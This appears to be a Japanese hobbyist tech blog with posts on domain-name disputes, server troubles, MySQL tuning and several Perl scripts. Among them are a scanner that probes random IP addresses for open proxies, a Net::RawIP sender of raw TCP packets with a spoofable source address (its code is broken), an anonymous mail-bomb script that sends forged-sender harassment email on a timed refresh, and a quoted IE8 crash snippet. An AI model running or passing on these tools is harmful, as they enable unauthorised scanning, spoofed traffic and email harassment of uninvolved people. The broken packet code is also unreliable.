Skip to content

ルーターに異常が・・・

昨日からの症状です(正確には今朝)

明朝からech0のトラフィックがなくなり、サーバ応答が不能になりました。

散々悩み抜いた挙句ルーター初期化で解決しました。

ドメインを巡った紛争

Webページにアクセスする際は殆どの場合

www.orenoatamahahageteru.com

などのURLを用いることが多いと思います。

このドメイン一つで裁判を起こされる例があります、ドメイン名紛争って奴です。

有名処では GOO.CO.JPを巡ったNTT-X社の裁判があります。

・そもそもドメイン紛争ってなに?

レジストラから正規に登録したドメイン名を巡った裁判、民事訴訟等の総括 総称(だと思います…)です。

商標権を侵害しているドメインは相当ヤバいです 特に.JPの場合はドメインの管理権自体を消される可能性が相当です。

・ドメイン紛争に抵触してしまう恐れのあるドメイン名は?

例えばですが、Doraemon.Jp(ドラえもん.ジェーピー) Suzumiya-haruhi.Jp(涼宮ハルヒ.ジェーピー)等のアニメキャラのドメイン。

YouTube.Ne.JP(ユーチューブ.エヌイー.ジェーピー) Google.Or.Jp(グーグル.オーアール.ジェーピー)等、この様なドメインを”正規の用途”で利用していない

(ウェブサイトを開設せずにドメインパーキングに転送する等)ドメインがこの対称となります。

・JPNICに通報されるとどうなるの?

ドメイン名を削除 あるいは強制的に移管されちゃいます。最悪の場合裁判に発展する事もあります ってかそんな事例がJPINCのドメイン紛争事例のページに腐るほど載ってます。

 

もしこの記事を回覧の方で、汎用JPドメインを取得する方はくれぐれも注意してくださいねっと。

Proxy検索もどきのPerlスクリプト

なんとなく作って見ました、仕組みが適当なのでメモリばっかり食う可能性が高いです。

数分間で書いた上ほとんどデバッグしてません、使用は自己責任でどうぞ。

#!/usr/bin/perl

###
###   簡易Proxy検索CGI Ver 0.01
###

##   Googleなどでそれらしきワード掛けても出てこないので作って見ました。
##    永久にテスト版なので、利用は自己責任でどうぞ
##

###  仕組み ランダムな数字を生成させて 構築されたIPアドレスに対し
###  8080 80 8000等の定番ポートへコネクションを試みます
###  コネクション出来たらログに書き出す仕組みです
###  ※ ポートコネクションを行うので相当負担がかかります。
###    スペックに自信がないなら使用しないことをおすすめします。

use LWP::UserAgent;
use HTTP::Request;

### 串のIPの種を作る
### 参考:http://chaichan.web.infoseek.co.jp/qa1500/qa1620.htm

### 10回まで繰り返す
### 回数制御は
###     ↓をいぢる
for(0..10) {

$qp1        = int(rand(99));
$kazu1        = int(rand(99));
$osimai1     = $qp1 + $kazu1;

$qp2        = int(rand(99));
$kazu2        = int(rand(99));
$osimai2    = $qp2 + $kazu2;

$qp3        = int(rand(99));
$kazu3        = int(rand(99));
$osimai3    = $qp3 + $kazu3;

$qp4        = int(rand(99));
$kazu4        = int(rand(99));
$osimai4    = $qp4 + $kazu4;

$ipdesuyo = "$osimai1.$osimai2.$osimai3.$osimai4";

$ua = new LWP::UserAgent;
$ua->agent ("Gojira");
$ua->timeout (30); ### 30sec待って応答がないなら 多分そのサーバは外れ

$request    = new HTTP::Request "GET","http://$ipdesuyo:80";
$response   = $ua->request ($request);
$response_body80 = $response->content();
$coder         = $response->code();

$request    = new HTTP::Request "GET","http://$ipdesuyo:8080";
$response   = $ua->request ($request);
$response_body8080 = $response->content();
$coder         = $response->code();

$request    = new HTTP::Request "GET","http://$ipdesuyo:8000";
$response   = $ua->request ($request);
$response_body8000 = $response->content();
$coder         = $response->code();

if ($coder =~ /200/) {### レスポンス200の場合はログを吐く

 open(OUT,">> ./proxy.txt");
 flock(OUT, 2);
 print OUT "$ipdesuyo<>$response_body80<>$response_body8080<>$response_body8000\n";
 close(OUT);
}

print $ipdesuyo;
}

負荷がうpうp


[root@localhost ~]# free
 total       used       free     shared    buffers     cached
Mem:       3087544    2994924      92620          0      74336    1091808
-/+ buffers/cache:    1828780    1258764
Swap:      5177340       2300    5175040

apacheの子プロセスが原因なのだろうか・・・

【新機能】偽装GIF検出機能とモザイク生成機能 実装しました

今回は新機能のリリースです。

 

故 ソースチェッカーオンラインで有名な機能だった偽装GIF検出機能 及びモザイク画像の生成機能を

実装しました。

画像の拡張子が.JPG等にも関わらず中身がGIF動画である いわゆる偽装GIFを自動で検出します。

さらに画像をphpで動的に変換してモザイク画像を生成します。

 

例 (グロ注意)

http://bcc.dip.jp/?url=http%3A%2F%2Flivedoor.blogimg.jp%2Fwarosmani..

http://bcc.dip.jp/?url=http%3A%2F%2Faomori.cool.ne.jp%2Fhime5%2Fmi..

Net::RawIPのインストール

インストール時に詰んだのでメモ

まずflexをyumでインストールします、その後libcapを”ソースから”コンパイルしてインストールします。

/usr/include/にpcap~の名前のファイルがあることを確認します。

その後 Net::RawIPをcpanからwgetで入手します、適当なディレクトリに解凍し、

Perl Makefile.PL make make install の手順でインストール出来ます。

試しに簡単なパケットを投げてみましょう


#!/usr/bin/perl

use strict;
use Net::RawIP;
my $sends = $ARGV[0];
my $kimip = $ARGV[1];

my $n = Net::RawIP->new({
 ip  => {
 saddr => $sends,
 daddr => $kimip,
 },
 });
 tcp => {
 source => 139,
 dest   => 139,
 psh    => 1,
 syn    => 1,
 };
$n->send;

print "飛ばせたよ~^o^";

Rawパケットを投げるのでroot権限が必要です。

perl send.pl google.jp google.jpのように入力して飛ばせたよ~^o^が表示されればOKです。

頑張れば簡易Proxyもどき見たいなことも・・・出来る?かもしれませんね。

なお当然ですがWindowsでは使えません。

 

 

※間違えてもforで無限ループするように組んではいけません、田代砲の方がまだマシな程の兵器になります。

Internet Explorer 8に脆弱性?

IE8向けのクラッシュコードの模様です、多分対策されていると思いますが。。

下記のコードが脆弱性検証となっている模様です

IE8 Crasher

ttp://crashie8.com/

 

上記のサイトにこの様なコードが載っています


<div id="page_wrapper">
 <form id="apply-form" action="#" method="post">
 <div style="display:none"><input type="text" name="test"/></div>
 </div>

検証していないので不明ですが、おそらくIE8辺りに影響があるものと思われます。

MySQLにキャッシュを追加

負荷対策って奴です 多分相当軽いはずですが念のため導入しておきます。

my.cnfに以下の設定を追加してあります。

 

query_cache_limit=5M
query_cache_min_res_unit=1M
query_cache_size=32M
query_cache_type=1
key_buffer = 20M
sort_buffer_size = 5M
read_buffer_size = 2M

匿名メール送信田代砲

なんとなく作って見ました、常識の範囲で遊んでください。

(Perlモジュール Mail::Sendmailが必要です。)

 

 


#!/usr/bin/perl
=coment
 ~ 匿名メール田代砲 ~

 このスクリプトは、指定したメールアドレスに発信源不明のメールを打つスクリプトです、
 悪用防止の為、smtpサーバが無いと動かない仕組みになっています。
 またメール送りまくって回線止められたりしても私は一切知りません。

 作者:JNR ★
 HP:http://bcc.dip.jp/
 メール:bcc.dip.jp@gmail.com
=cut
use strict;
use Mail::Sendmail;

my $kaisuu = 80;#リロード秒数 と言ってもmeta リフレッシュだけど...

&mailmain();
&html();

sub mailmain
{
 my ($server, $to_addr, $from_addr, $mail_sub, $mail_body);
 $server     = "smtp.****.ocn.ne.jp"    ;#プロパイダのsmtpサーバ
 $to_addr    = "info\@gmail.com"    ;#メールを送る宛先
 $from_addr    = "info\@yahoo.co.jp"    ;#発信源メアド
 $mail_sub    = "日頃の恨みを晴らさせてもらおう";#メールタイトル
 $mail_body    = "はげはげはげはげはげはげはげは";#メール本文

 #教えてgooより
 my %mail = (

 Smtp => $server,

 "Content-Type" => 'text/plain; charset="JIS"',

 To => $to_addr,
 From => $from_addr,

 Subject => $mail_sub,
 Message => $mail_body,
 );

 sendmail(%mail);
}

sub html
{
 print qq|Content-type: text/html\n\n|;
 print <<"EOH";
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja">
<head>
<meta http-equiv="content-type" content="text/html; charset=Shift_JIS">
<meta http-equiv="Refresh" content="$kaisuu">
<title>OK</title>
</head>
<body>
OK
</body>
</html>
EOH
exit(0);
}
__END__

サイト復旧

サーバ再インストールで放置していたブログ 再構築してみました。

前より早くなっていれば光栄です。